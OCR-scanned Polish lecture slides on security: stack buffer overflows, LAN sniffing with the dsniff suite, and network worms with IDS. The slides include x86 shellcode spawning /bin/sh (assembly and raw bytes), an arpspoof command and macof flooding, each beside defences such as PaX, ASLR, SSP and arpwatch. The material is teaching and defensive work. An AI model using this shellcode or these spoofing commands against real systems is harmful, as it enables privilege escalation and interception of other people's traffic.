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O czym opowiemy?

* Btagd przepetnienia bufora
Co to jest? Jak to wykorzystac? Jak zapobiec
wykorzystaniu?
* Problemy z bezpieczenstwem w sieci
lokalniej
Pakiet dsniff, SSL, PKI

* Robaki sieciowe, systemy IDS/IPS



Btad przepeinienia
bufora

Monika Domanska

Informacje dotyczg Linuxa, ale bufory innych
systemow (np. WinXP) tez nie sg bezpieczne.



O czym bedzie ta czesc?

* Wielki cel to uzyskanie dostepu do
systemu z wszystkimi uprawnieniami
administratora.

* Mozna to uzyskac przez przepetnienie
buforu (buffer overflow) jakiegos
niepewnego programu.

* Jak to dziata w teorii?

* Jak to dziata w praktyce?

e Jak temu zapobiec?




I Teoria

niego stos procesu, tak zwany rekord

System przy uruchomieniu procesu tworzy dla
I aktywacji procesu.

zmienne lokalne statej wielkosci 4 , aktualne parametry

saved stack pointer (SFP)

adres powrotny (return address, w skrocie ret) do
procesu macierzystego, np. do shell'a, 4 bajty



Teoria: przyktad stosu 1

Gdy funkcja ,exploit” | 4 bajty TOS

wywotuje podfunkcje vulne ma 2 zmienne | — &
vulne otrzymujemy taki lokalne:yiz z
oto stos: Z
y

SFP <9

. E (@)

Dane, ktore exploit przekazuje vulne. ret do exploit =2
Wywotanie vulne ma postaé vulne (typa a, 2
typb b), aktualne parametry sg odktadane b
na stos w odwrotnej kolejnosci. E

~ zmienne lokalne exploiti SFP - | o lo

, © 0

_dane przekazane do exploit | ret do shell g &

|

~ dalszy cigg pamieci |




A co sie stanie, jak
przekazywana do vulne
zmienna b jest typu char”,
zmienna lokalna z jest typu
char[8] i w vulne jest
wykonywany taki rozkaz"?

strcpy(z,b) ;

SFP

ret do exploit

O T 9Q

ret do shell

SuINA
SO)S

- Jlojdxa |
SO)S



Teoria: przyktad stosu 2

4 bajty
T
Z

y4
y

ret do exploit

O T 9Q

ret do shell

stos przed
wykonaniem
strcpy

stos po
wykonaniu
strcpy...

a gdzie
wartosc y ?7?
zostata
przepisana,
jak bufor z
zostat
przepetniony!

4 bajty
T
b

b
b

ret do exploit

O T 9Q

ret do shell




I Teoria
Jeszcze diuzszy
I string b przepisatby b
rowniez adres E
powrotny. SFP: b
ret: b
b
b
b
b
ret do shell




I Teoria: nowy kod
Skoro mozemy przepisac adres =  nop
I powrotny, to przepiszmy go o
adresem do naszego kodu. nop
Mozemy go wpisaé do nowy kod
przepetnianego buforu, bo nowy kod
adres jego poczatku mozemy nowy kod
zgadnac. adres 7
adres z

ret: adres z




I Teoria: zgadywanie adresu

zgadnacC wykonujac program posrednio
wotajacy vulne, bo bufor vulne bedzie lezat
gdzies ,niedaleko” za TOS programu
wotajgcego. Dlatego tez wpisujemy
instrukcje nop przed nowym kodem. Jesli
nie zgadniemy doktadnie, to mozemy
jednak wylgdowac w ciggu instrukcji nop,
tak ze dojdziemy do nowego kodu.

I Adres przepetnianego buforu mozemy



Teoria: zgadywanie adresu

Doktadny byly adresz — » nop

nop
> nop

nowy kod
nowy kod
nowy kod

adres ~z |~z 0znacza

adres ~z ,,mniejWchej“
TOS programu ret: adres ~z adres z

wotajgcego




Teoria: Jaki nowy kod?

Jaki kod chcemy wykonac, skoro mamy
(prawie) wolny wybor? Chcemy, zeby:.

* nowy kod dat jak najwieksze mozliwosci

* nowy kod zmiescit sie w przepetnianym
buforze

Kod wywotania shell spetnia te oczekiwania!

Jesli wykorzystana funkcja jest funkcjg
systemowa, ktoéra na ustawiony suid,
otrzymamy root-shell.



I Teoria: SUID

miejscu, co prawa dostepu do funkcji dla
wtasciciela, grupy I innych.

Zazwyczaj wywotana funkcja dziata z
uprawnieniami wotajgcego uzytkownika.
Jednak niektore funkcje systemowe, jak
passwd, su, suexec, mount, pppd, ping,
xterm 1 iInne, potrzebuje praw administratora
do poprawnego dziatania. Te funkcje majg
ustawiony SIUD.

I SUID, to jest bit ustawiany w tym samym



Praktyka

* No wiec jak to konkretnie zrobic?

* Wszystie programy znajdziecie na
wreczatkach (pobrane z zrodta Alpha One'a).

* Nie wszystkie ciekawe aspekty

pokazywanych programow moge
wyttumaczyc, bo nie starczy na to czasu. Ale
dalsze informacje mozna znalez¢ w zrodtach,

jak ktos ma ambicje hakerskie ;)



Praktyka: shellcode

Aby wywoftac shell, trzeba wykonac taki
program ,shellcode-c” pisany w C:

#include <stdio.h>

void main() {
char *name[2];
name[0] = "/bin/sh";

name[l] = NULL;
execve (name[0] , name, NULL) ;}

Jednak przy kompilacji sg dodawane czesci
niepotrzebne do samego wywotania shell. Co
jest dodawane, co koniecznie potrzebne, widac
na generowanym kodzie w zrodle Alpha One'a.



Praktyka: shellcode

Z kodu w asemblerze mozna wywnioskowac, co
trzeba koniecznie zrobi¢ by wywotac shell:

* Musimy trzymac string "/bin/sh" i jego adres
zakonczony czterema bajtami O gdzies w
pamieci.

* skopiowac Oxb do rejestru procesora EAX,
adres stringu do EBX, adres adresu stringu do
ECX, adres bajtow zerowych do EDX.

* \Wykonac int $0x80.

* skopiowac 0x1 do EAX 1 0x0 do EBX.

* Wykona¢ int $0x80.



I Praktyka: shellcode

brakuje kilka adresow, ktore tu zaznaczono:

movl string addr,string addr addr
movb $0x0,null byte addr
movl $0x0,null addr

I Otrzymujemy wprawdzie krotki kod, ale jeszcze

movl SO0xb, $eax
movl string addr, %Sebx
leal string addr, %ecx

leal null string,%edx
int S0x80

movl SO0x1l, %eax
movl S0x0, %ebx

int S0x80
,/bin/sh™




Praktyka: shellcode

Sg rozne sposoby, aby uzyskac potrzebne
adresy. Oto jeden z fadniejszych. Uzyjemy
rozkaz call, bo przy jego wykonaniu adres
powrotny jest zapamietywany na stosie:

. .nop jmp dalszy kod call /bin/sh ...

A
Adresowanie T
wygledem [P

adres
powrotny

Adres stringu /bin/sh na stosie
do dyspozycji dalszego kodu

Mato zrozumiate? Spojrzmy na kod...




Praktyka: shellcode

Jjmp

>popl
movl
movb
movl
movl
movl
leal
leal
int

movl
movl
int

“call

Ox2a

gesi

%esi,0x8 (%esi)
S0x0,0x7 (%esi)
S0x0,0xc (%$esi)
SO0xb, $eax
$esl, $5ebx

0x8 (%$esi) ,%ecx
Oxc (%esi) ,%edx
S0x80

SO0x1l, %eax
S0x0, %ebx
$S0x80

-0x2f

.string \"/bin/sh\"

HH I H NN

OOUNDNOUDOINDNWWMNOUOILWENDN

bytes
byte

bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes




Praktyka: shellcode

Zeby kod moégt by¢ wykonany, musi sie
znajdowac w przepetnionym buforze jako kod
maszynowy, wiec w trzeba sprawdzic, jakie
jest ttumaczenie tych rozkazow np. na

maszynach 1386.
Takie:



Praktyka: shellcode

\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7
\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8
\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80
\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73
\x68\x00\x89\xec\x5d\xc3

Jak widac, ten kod zawiera bajty zerowe. Przy
wokonaniu strcpy string zostatby urwany przy
pierwszym takim bajcie. Wiec przepiszemy kod
tak, aby nie zawierat juz bajtow zerowych.



Praktyka: shellcode

Otrzymujemy kod:
Jmp Ox1f leal Oxc (%esi) , Sedx
popl %esi int $0x80
movl %esi,0x8 (%esi) =xorl %$ebx, $ebx
xorl Teax, seax movl sebx, Seax
movb %eax,0x7 (%esi) 1inc Teax
movl %eax,0xc (%esi) int $S0x80
movb $0xb, %$al call -0x24
movl %esi, $ebx .string \"/bin/sh\"
leal 0x8 (%$esi) ,%ecx




I Praktyka: shellcode

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\x£f3\x8d\x4e
\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8
\x40\xcd\x80\xe8\xdc\xff\xff\xf£f/bin/sh

I A z tego kodu cigg rozkazow maszynowych:

Jak uda nam sie ulokowac ten cigg bajtow w
pamieci | skierowac adres powrotny
wykorzystanej funkcji na jego poczatek,
zostanie wywotany shell.



I Praktyka: demonstracja

Demonstracja przepetnienia buforu, uzywane
I programy:

* Program wykorzystujacy luke w
bezpieczenstwie: exploit.c

* Program zawierajacy luke w postaci rozkazu
strcpy: vulnerable.c

* Program uzywany do przedstawienia
zawartosci stosu: gdb

* Przed demonstracjg w pliku
/proc/sys/kernel/randomize _va_space
zostato zmienione 1 na 0.



I Zapobieganie

sposob, bo zawiera niebezpieczny rozkaz
strcpy. Oto kilka innych rozkazow jezyka C,
ktore mozna wykorzystac do przepetnienia
bufora:

strcpy, strcat, sprintf, gets, scanf, sscanf,
fscanf, memcpy

Zwracajac uwage na takie rozkazy,
programista moze wptyngc¢ bardzo korzystnie
na bezpieczenstwo systemu.

I Vulnerable mogt by¢ wykorzystany w taki



Zapobieganie

Uzytkownik (czy programista czy nie)
zazwyczaj nie ma mozliwosci zwracania
uwagi na bezpieczny kod zainstalowanych
programow. Ale istniejg tez gotowe tatki
bezpieczenstwa:

* PaX dla Linuxa

* ASLR w Windows Vista

* SSP (Stack-Smashing Protector) i inne tatki
dla GCC do ochrony witasnych programow



Zapobieganie: PaX

* freeware, uzyty m.i. w FreeBSD

* tatka naktadana na jadro Linuxa

* niektore koncepcje zaimple-
mentowane dla Windowsa

Zapobiega przepetnieniu bufora i uszkodzeniu
zawartosci pamieci przez non-executable
pages | ASLR (Address Space Layout
Randomization).

Randomizacja miejsca rekordu procesu jest
standardowo w Linuksie wigczona przez 1 w
wyze] wymienionym pliku.




Zapobieganie: PaX

PaX jednak przynosi dwa problemy:

* Niestety jego metody zakidcajg tez programy
planowo korzystajgce z wtasnie
generowanego kodu. Lecz mozna
kofigurowac PaX tak, aby je uwzgledniat
przez narzedzie ,chpax”.

* Randomizacja przestrzeni pamieci prowadzi
do je] fragmentacji, tak ze moze sie stac
niemozliwe zaalokowanie duzego tgcznego
obszaru.



| O

I Zapobieganie: ASLR w Vista

wigczona opcja ochronna polega na tadowaniu
kodu systemowego do losowych miejsc w
pamieci, co znacznie utrudnia ataki typu
Jreturn-to-libc”, przy ktorych wykorzystywany
adres jest kierowany na jakas funkcje z
biblioteki, ktérg zawiera system.

Rowniez standardowo kompilator do Visual C++
zawiera funkcje utrudniajgce ataki.

I Ta standardowo w Windows Vista Beta 2



Zapobieganie: SSP

Zaczeto sie od tatki doinstalowywanej do gcc,
ale SSP okazato sie tak efektywne, ze ma
zostac zintegrowane z kompilatorem.
Mechanizmy ochronne:

* wartosc¢ kontrolna (kanarek)
* modyfikacja uktadu zmiennych
* kopiowanie argumentow



rtunc ()

func ()

mairn{)

main()

main()

main()

Stos przy zwyktej kompilacji

Zapobieganie: SSP

Zmienna var?

Zmienna buf

Zmienna varl

wskaZnik ramki stosu

adres powrotu

argument msqg

EI'QI.II'I‘IE'I‘It a

Zmienna p

wskaznik ramki stosu

adres powrotu

argumenty
funkcji main ()

Stos przy kompilacji z opcjg SSP

Stos rosnie w kierunku nizszych adresdw

A

kopia a

Zmienna wvar?

Zmienna varl

Zmienna buf

kopia msq

kanarek

wskaznik ramkl stosu

adres powrotu

argument msqg

argument a

Zmienna p

kanarek

wskaznik ramki stosu

adres powrotu

argumenty
funkcji main ()

Func ()
tunc{)
func ()

func ()

func |

func )
fune ()
funa ()
main ()

maini)



W sumie...

* Mozna znalez¢ duzo informacji o lukach
umozliwiajgcych przepetnienie bufora.

* | pewnie dlatego duzo trudniej znalezc
iInformacje o faktycznym wtamaniu tym
sposobem.



I Bezpieczenstwo w sieci lokalnej

I Arkadiusz Konior



I Bezpieczenstwo w sieci lokalne]

ruchu sieciowego

* Narzedzie dsniff

* Demonstracja dzialania

* Metody przeciwdzialania — TSL/SSL,
certyfikaty, PKI

I * Mozliwosci podstuchiwania/przechwytywania



I Podstuchiwanie/ przechwytywanie ruchu
I sieciowego

zadaniem jest przechwytywanie | ewentualne
analizowanie danych przeptywajacych w sieci.

* Przyklady: tcpdump, sniffit, ethereal, hunt,
etthercap, dsniff

I * sniffer - jest to program komputerowy, ktérego



Podstuchiwanie/ przechwytywanie ruchu
sieciowego

* Shared Ethernet (potaczony hub'em)
- promiscuous mode

# ifconfig ethO promisc

# ifconfig

ethO  Link encap:Ethernet HWaddr 00:13:02:23:92:8C
inet addr:192.168.2.100 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::213:2ff:.fe23:928c/64 Scope:Link
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:238628 errors:0 dropped:294 overruns:0 frame:0
TX packets:48325 errors:0 dropped:0 overruns:0 carrier:106
collisions:0 txqueuelen:1000
RX bytes:94366978 (89.9 MiB) TX bytes:17340250 (16.5 MiB)
Interrupt:177 Base address:0xa000 Memory:feaff000-feafffff



Podstuchiwanie/ przechwytywanie ruchu

sieciowego

* Switched Ethernet
- ARP spoofing

'8

192.168.2.100

SWITCH

M ' Address HWtype HWaddress
192.168.2.102 ether 00:08:02:2F:AE:EB
192.168.2.1 ether 00:0E:2E:93:1815B
192.168.2.101

]
& Address HWtype HWaddress
! 192.168.2.1 ether 00:0E:2E:93:18:5B

192.168.2.100 ether
00:13:02:23:92:8C

8

o

192.168.2.1



Podstuchiwanie/ przechwytywanie ruchu
sieciowego

* Switched Ethernet
- ARP spoofing

192.168.2.100 # arpspoof -t 192.168.2.102 192.168.2.1
0:13:2:23:92:8c 0:8:2:2f:ae:eb 0806 42: arp reply 192.168.2.1 is-at 0:13:2:23:92:8c
0:13:2:23:92:8c 0:8:2:2f.ae:eb 0806 42: arp reply 192.168.2.1 is-at 0:13:2:23:92:8c



Podstuchiwanie/ przechwytywanie ruchu

sieciowego

* Switched Ethernet
- ARP spoofing

'8

192.168.2.100

SWITCH

M ' Address HWtype HWaddress
192.168.2.102 ether 00:08:02:2F:AE:EB
192.168.2.1 ether 00:0E:2E:93:18:5B
192.168.2.101

]
& Address HWtype HWaddress
B L 192.168.2.1 ether
00:13:02:23:92:8C
192.168.2.100 ether

00:13:02:23:92:8C

8

o

192.168.2.1



Podstuchiwanie/ przechwytywanie ruchu
sieciowego

* Switched Ethernet
- ARP spoofing — przeciwdziatanie: arpwatch

# arpwatch -d

From: arpwatch (Arpwatch lizar-laptop)
To: root
Subject: flip flop ethO

hostname: <unknown>
ip address: 192.168.2.1
interface: ethO
ethernet address: 0:13:2:23:92:8c
ethernet vendor: <unknown>
old ethernet address: 0:e:2e:93:18:5b
old ethernet vendor: Edimax Technology Co., Ltd.
timestamp: Monday, January 8, 2007 11:18:22 +0100
previous timestamp: Sunday, January 7, 2007 21:57:10 +0100
delta: 13 hours



Podstuchiwanie/ przechwytywanie ruchu
sieciowego

 Switched Ethernet
- MAC Flooding

# macof

2:7b:1f:7:83:8b 21:5b:25:38:1d:aa 0.0.0.0.40053 > 0.0.0.0.57009: S 880201449:880201449(0) win 512

1e:d7:88:1¢:d9:8d d5:37:76:5f:34:46 0.0.0.0.31529 > 0.0.0.0.54064: S 1119645695:1119645695(0) win
512

7b:c5:e7:30:3f:3f d1:f6:d0:35:4a:45 0.0.0.0.16731 > 0.0.0.0.30310: S 33984151:33984151(0) win 512



I Pakiet dsniff

I * dsniff — pakiet narzedzi do penetrowania

sieci. W sktad wchodza;:
— arpspoof

— dnsspoof

— dsniff

- filesnarf

- macof

- mailsnarf

- tepkill

- tcpnice



I Pakiet dsniff
* dsniff — pakiet narzedzi do penetrowania
I sieci. W sktad wchodza;:
— urlsnarf
- webspy
— sshmitm

- webmitm



* Arpspoof - Przekierowuje pakiety wysytane
I przez nadawce do adresata tak, ze po

drodze przechodzg one przez komputer
intruza. Dzieki temu mozliwe jest sniffowanie

W sieciach z przetgcznikami.

Pakiet dsniff



I Pakiet dsniff

na zapytania DNS (przydatne przy atakach

* Dnsspoof - Wysyla sfatszowane odpowiedzi
I typu man in the middle).



I Pakiet dsniff

iInterpretowania wielu popularnych
protokotow, takich jak FTP, Telnet, SMTP,
HTTP, POP, poppas, NNTP, IMAP, SNMP,
LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP,
NFS, VRRP, YP/NIS, SOCKS, X11, CVS,
IRC, AIM, ICQ, Napster, PostgreSOL,
Meeting, Maker, Citrix ICA, Symantec
pcAnywhere, NAI Sniffer, Microsoft SMB,
Oracle SQL Net, Sybase.

I * Dsniff - Sniffer wyposazony w mozliwosc



I Pakiet dsniff

* Filesnarf- Narzedzie zapisujgce pliki
I przesytane przy uzyciu protokotu NFS.



I Pakiet dsniff

pamieci switcha (MAC flooding). Powoduje
to, ze switch zaczyna dziatac jak zwykty hub
- co utatwia sniffowanie.

I * Macof - Narzadzie stuzace do przepetniania



I Pakiet dsniff

* Mailsnarf - Zapisuje emaile przesytane przy
I uzyciu protokotow POP i SMTP.



I Pakiet dsniff

przesytanych przy uzyciu komunikatorow

* Msgsnarf - Zapisuje tresci wiadomosci
I internetowych i IRC-a.



I Pakiet dsniff

I * Tcpkill - Zamyka potgczenia TCP.



Pakiet dsniff

* tcpnice — Zwalnia (zmniejsza szybkosc)
potgczenia TCP.



I Pakiet dsniff

* urlsnarf - Wypisuje adresy URL znalezione
I w sniffowanym ruchu HTTP.



I Pakiet dsniff

URL do lokalnej przegladarki Netscape,
pozwalajgc na sledzenie (w czasie
rzeczywistym) stron, po ktorych surfuje
ofiara.

I * webspy - Przekazuje znalezione adresy



I Pakiet dsniff

posredniczgcym dla potaczen SSH

* sshmitm - Program bedacy serwerem
I (jednoczesnie je snifuje).



I Pakiet dsniff

posredniczacym dla potgczen HTTP i HTTPS
przekierowanych przez dnsspoof
(jednoczesnie je snifuje).

I * webmitm - Program bedacy serwerem



I Metody przeciwdziatania

 TSL/SSL
I * Certyfikaty
e PKI



I SSL

I SSL — system nawigzywania bezpiecznego
potaczenia miedzy dwoma gniazdami,
obejmujacy:

- negocjowanie parametrow potacznia
- uwierzytelnianie klienta i serwera

- poufng komunikacje

- ochrone intergralnosci danych



SSL

Warstwa aplikacji (HTTP)

Warstwa bezpieczenstwa (SSL.)

Warstwa transportowa (TCP)

Warstwa sieciowa (I1P)

Warstwa tgcza danych (PPP)

Warstwa fizyczna (model, ADSL, telewizja kablowa)

Warstwowy model przegladarki wykorzystujgcej protokdt SSL




SSL

1 :
Wersja SSL, preferencje, Ry -
2] . :
- | Woersja S5L, opcje do wyboru, Ry
e — —
- tancuch certyfikatow X.508
4
- Serwer zakonczyt
L o
& Eg (klucz premaster) - E
<1
(53 ! :
Zmiana szyfrowania o
7
Zakonczone -
8 : :
4 Zmiana szyfrowania
g :
-+ Zakonczone

Y SLUNEK 847, Uproszczony schemat nawigzywania bezpiecznego polaczenia w ramach protokolu 551



Fragmentoweanie

Kamprasowania

Codanie kodu
uwierzytelniajacago (MAC)

Szyfrowanie

Dodanie naghiwka

Komunikat z przegladarki

7

Fragment 1
'
'
4

4

N

Fragrnaﬂt 2
!
Kod
i (MAC)
i

U'ulul'iErI}'tEll'l'IEjﬂ._'l_:.f_'-:

344

RYSUNEK #.48. Transmisja danych w ramach protoketu S5L




I Certyfiakty

klucza publicznego z nazwg jego wtasciciela

* CA (Certification Authority) — powigzanie
I e X.509 (RFC 3280) format certyfikatu



Certyfia

Certificate:
Data:
Version: 1 (0x0)
Serial Number: 7829 (0x1e95)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc,
OU=Certification Services Division,
CN=Thawte Server CA/Email=server-certs@thawte.com
Validity
Not Before: Jul 9 16:04:02 1998 GMT
Not After : Jul 9 16:04:02 1999 GMT
Subject: C=US, ST=Maryland, L=Pasadena, O=Brent Baccala,
OU=FreeSoft, CN=www.freesoft.org/Email=baccalalfreesoft.org
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:b4:31:98:0a:cd4:bc:62:cl:88:aa:dc:b0:c8:bb:
33:35:19:d5:0c:64:09:3d:41:02:96:fc:£f3:31:el:
66:36:d0:8e:56:12:44:ba:75:eb:e8:1c:9c:5b:66:
70:33:52:14:¢c9:ec:4£:91:51:70:39:de:53:85:17:
16:94:6e:ee:f4:d5:6f:d5:ca:b3:47:5e:1b:0c:7b:
c5:cc:2b:6b:c1:90:¢c3:16:31:0d:bf:7a:c7:47:77:
8f:20:21:c7:4c:d0:16:65:00:c1:0£:d7:08:80:e3:
d2:75:6b:cl:ea:9%9e:5c:5c:ea:7d:cl:al:10:bc:b8:
e8:35:1c:9e:27:52:7e:41:8f

Exponent: 65537 (0x10001)

Signature Algorithm: md5WithRSAEncryption
93:5f:8f:5f:c5:af:bf:0a:ab:a5:6d:fb:24:5f:06:59:5d:9d:
92:2e:4a:1b:8b:ac:7d:99:17:5d:cd:19:f6:ad:ef:63:2f:92:
ab:2f:4b:cf:0a:13:90:ee:2c:0e:43:03:be:f6:ea:8e:9c:67:
d0:22:40:03:f7:ef:6a:15:09:79:29:46:ed:b7:16:1b:41:72:
0d:19:aa:ad:dd:9a:df:ab:97:50:65:£f5:5e:85:a6:ef:19:d1:
S5a:de:9d:ea:63:cd:cb:cc:6d:5d:01:85:b5:6d:¢c8:£3:d9:£7:
8f:0e:fc:ba:1f:34:e9:96:6e:6c:cf:f2:ef:9%:bf:de:b5:22:
68:9f



PKI

* PKI (Public Key Infrastructure)
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Robaki sieciowe

Wanda Niemyska



I O czym bedzie ta czesc?

* Rzut oka na historie.

* Przyktady konkretnych robakow.
* Troche statystyk o robakach.

* Jak bronicC sie przed robakami?
e Systemy NIDS.

* Prezentacja programu Snort.

e Systemy IPS — 2 stowka.

I * Co to sg robaki sieciowe?



Co to sa robaki komputerowe?

Robak komputerowy to samoreplikujacy sie
program, podobny do wirusa
komputerowego.



I Co to sg robaki komputerowe?

Wirus potrzebuje nosiciela, zwykle jakiegos
pliku wykonywalnego, ktory modyfikuje,
doczepiajgc do niego swoj kod wykonywalny.

Robak jest pod tym wzgledem samodzielny.
Rozprzetrzenia sie we wszystkich sieciach
podtgczonych do zarazonego komputera
poprzez wykorzystywanie luk w systemie
operacyjnym oraz naiwnosci uzytkownika.



Co to sg robaki komputerowe?

Oproécz replikacii, robak moze mie¢ wbudowane
procedury dodatkowe, takie jak m.in;

- niszczenie plikow;

- wysytanie poczty (przewaznie spamu);

- petnienie roli ,backdoora” lub ,konia
trojanskiego’;

(backdoor — luka w zabezpieczeniech systemu utworzona
umyslinie w celu pozniejszego wykorzystania)



Rzut oka na historie

Termin 'robak’ zostat stworzony przez
autora powiesci science-fiction Johna
Brunnera. Pojawit sie w wydane| w
roku 1975 powiesci pt. ,Shockwave
Rider".

Bohater powiesci, utalentowany
programista, stworzyt programy
komputerowe zdolne do
samodzielnego rozprzestrzeniania sie,
ktore torowaty sobie droge przez
globalng siec komputerowas.



I Rzut oka na hostorie

Pierwsze robaki Creeper | Reaper pojawity sie
w 1970 roku w sieci Arpanet.

Pierwszym robakiem sieci Internet byt napisany
przez Roberta Tappana MorrisaJr

robak skitgdajacy sie z trzech tysiecy linii kodu,
ktory zostat wypuszczony "na wolnosc” 2
listopada 1988.



Robak Morrisa

* W 1988 roku Morris byt doktorantem

na wydziale informatyki Uniwersytetu
I Cornell. Prowadzit w tym czasie

badania nad btedami w systemach
BSD Unix. Program, ktory napisat,
miat tylko wykazac, ze robak moze
przenosic sie z komputera na
komputer i tym samym uswiadomic
administratorom stabosc ich
systemow (z zatozenia nie byt
szkodliwy).




Na skutek btedu w obliczeniach procesy robaka zapetniaty
I zasoby komputerow, ktore w efekcie sie wieszaty.

Robak Morrisa

W ciggu 2 godzin zinfekowanych zostato 6 tysiecy maszyn, co
sparalizowato dziatanie dwczesnego Internetu - dopiero 10
listopada (po osmiu dniach) udato sie przywrocic sieci
normalne funkcjonowanie.

Straty oszacowano na 10 min dolarow.
Morris przyznat sie do napisania robaka.



Robak Morrisa

I 22 stycznia 1990 r. Morris zostat skazany za swoj czyn
na:

- 3 lata obserwacji sgdowej;

- grzywne pieniezng 10.000 dolarow;

- 400 godzin prac spotecznych;

- zaptacenie 150.000 dolarow kosztow postepowania
sgdowego.

Obecnie jest on profesorem Massachusetts Institute
of Technology :).



SQL Slammer

Zainfekowat serwery Microsoft SQL,
zostat wypuszczony w styczniu 2003r.

REKORDZISTA:

- w 8,5 sekundy podwajat liczbe
zainfekowanych komputerow;

- w 15 sekund zainfekowane byty
komputery z catego Swiata;

- w 10 minut zainfekowat 75 tysiecy
komputerow;



I SQL Slummer

Dziura wykorzystywata pakiety UDP zamiast bardzie;
tradycyjnych TCP, stad:

-pojedynczy pakiet mogt przejac podatny komputer;
-robak nie musiat sledzic losu wystanych pakietow, co
umozliwito mu wysytanie ich w niespotykanym
dotychczas tempie;

Slummer wcigz aktywnie sie rozprzestrzenia, w 1.
potowie 2006r. odpowiadat za 9,2% wszystkich
atakow internetowych (co plasowato go na 4.pozyciji).



SQL Slummer

Slummer 30 minut po wypuszczeniu



Blaster

Blaster wykorzystuje luke — przepetnienie bufora
w interfejsie RPC, ktore moze by¢ spowodowane
zdalnie poprzez anonimowe potgczenie z tym
interfejsem (np. w Windows XP).

Objawy i dziatanie:

- Przeprowadza atak typu denial of service (DoS) -
odmowa ustugi na serwer windowsupdate.com,;

- Blokuje lub restartuje zaatakowany komputer;

- Generuje dodatkowy ruch po portach TCP 135 i
4444 oraz UDP 69;



Blaster
I - Blaster dziata od kilku lat, ale jest coraz
bardziej popularny — w 1. potowie 2006r.
odpowiadat za 4% wszystkich atakow
internetowych (6. lokata).

- Robak ten zawiera kilka tekstow, ktore nie sg
nigdy wyswietlane:

»I just want to say LOVE YOU SAN!!”

,Dilly gates why do you make this possible ?
Stop making money and fix your software!!”



Zotob

Zotob rozprzestrzenia sie nastepujgco:

- generuje losowy adres IP;

- probuje nawigzac potgczenie ze zdalnym
komputerem o danym adresie IP poprzez port TCP
445;

- w przypadku sukcesu probuje wykorzystac luke w
zabezpieczeniach mechanizmu Plug and Play;

- Jezeli dziatania te przyniosg pozytywne rezultaty,
Zotob przesyta swojg kopie na zainfekowany

komputer za posrednictwem protokotu FTP poprzez
port TCP 33333;




Zotob

Obecnosc Zotob w systemie jest trudna do
zauwazenia, poniewaz robak nie pozostawia
zadnych dajgcych sie tatwo zidentyfikowac
sladow swoje| dziatalnosci.

Zotob modyfikuje plik HOSTS aby zablokowac
uzytkownikowi dostep do witryn internetowych
producentow oprogramowania antywirusowego.



I Obrona przed robakami

Jak widac niebezpieczenstwo
I zainfekowania komputera robakiem jest
bardzo duze — robakow jest coraz
wiecej, sg coraz sprytniej napisane.
Trzeba sie przed nimi bronic!!!

Po krotce opowiem o systemach:
- NIDS

-IPS
oraz zaprezentuje program snort.



IDS

IDS (Intrusion Detection Systems) - systemy
wykrywania intruzéw, zajmujg sie wykrywaniem prob
uzyskania dostepu do systemu i informowaniem o tym
odpowiednich osob (cos w rodzaju alarmu).

3 podstawowe zadania:

- monitorowanie systemu,

- detekcja atakow;

- podejmowanie odpowiednich dziatan
(wylogowanie uzytkownikow, zablokowanie konta lub
wykonanie odpowiednich skryptow;
czesto informacja o ataku przesytana jest natychmiast do
upowaznionych osob np. na pager lub poprzez e-mail);



HIDS

Sg dwa warianty systemoéw IDS:
- oparte na gospodarzu (host) Host-Based IDS;
- oparte na sieci Network-Based IDS;

HIDS:

- najwczesniej zaimplementowane systemy wykrywania intruzow;

- zbierajg i analizujg dane na komputerze, ktory jest gospodarzem
systemu, na przyktad serwerze sieciowym;

- efektywnie wykrywajg naduzycia wewnatrz sieci (gdy uzytkownik
jest zalogowany | wykonuje niedozwolong czynnosc);

- dobrze sobie radzg z nieautoryzowang modyfikacjg pliku;

- przy duzych sieciach te systemy stajg sie niepraktyczne;



I NIDS

NIDS:

- Sg czesto rozproszone po sieci | roznych systemach;

- sprawdzajg pakiety poruszajgce sie po sieci,
(pakiety te sg analizowane, a nastepnie okreslane jako

prawidtowe badz ztosliwe);

- zwiekszajg odpornosc systemu na ataki z zewnatrz

* dobrze radzg sobie z nieautoryzowanym dostepem
spoza systemu (gdy uzytkownik nie jest
zalogowany)

* oraz z atakiem typu Denial of Service (poprzez

zauwazenie pakietow zaczynajgcych taki atak).



NIDS

Metody detekcji systemu NIDS:

- dopasowywanie Wzorcow;

- kontekstowe dopasowywanie wzorcow;,
- analiza heurystyczna;

- analiza anomalii;



NIDS

dopasowywanie Wzorcow -

I jest to najprostsza metoda, pojedynczy pakiety
porownywany jest z listg regut. Jesli ktorys z warunkow
zostanie spetniony uruchamiany jest alarm.

kontekstowe dopasowywanie wzorcow -

w kontekstowym dopasowywaniu pakietu, system bierze
pod uwage kontekst kazdego pakietu. Sledzi potaczenia,
dokonuje taczenia fragmentowanych pakietow.



NIDS

analiza heurystyczna -

wykorzystuje algorytmy do identyfikacji niepozgdanego
dziatania. Algorytmy te sg zwykle statystyczng oceng
normalnego ruchu sieciowego.

Przyktadowo algorytm stwierdzjgcy skanowanie portow,
stwierdza, ze takie wydarzenie miato miejsce, jezeli z
jednego adresu w krotkim czasie nastgpi proba potaczen z
wieloma portami.

analiza anomalii -

sygnatury anomalii starajg sie wykry¢ ruch sieciowy, ktory
odbiega od normy. Najwiekszym problemem jest
okreslenie stanu uwazanego za normalny.



Problemy NIDS

Mnogos¢ aplikaciji - W przypadku ataku na konkretng aplikacje,
polegajgcym na podawaniu jej nietypowych danych, system musi
rozumiec protokot, ktorego dana aplikacja uzywa. Protokotow
sieciowych jest bardzo duzo, system IDS nie moze znac ich
wszystkich, dlatego zna tylko pewien ich podzbior. Fakt ten moze
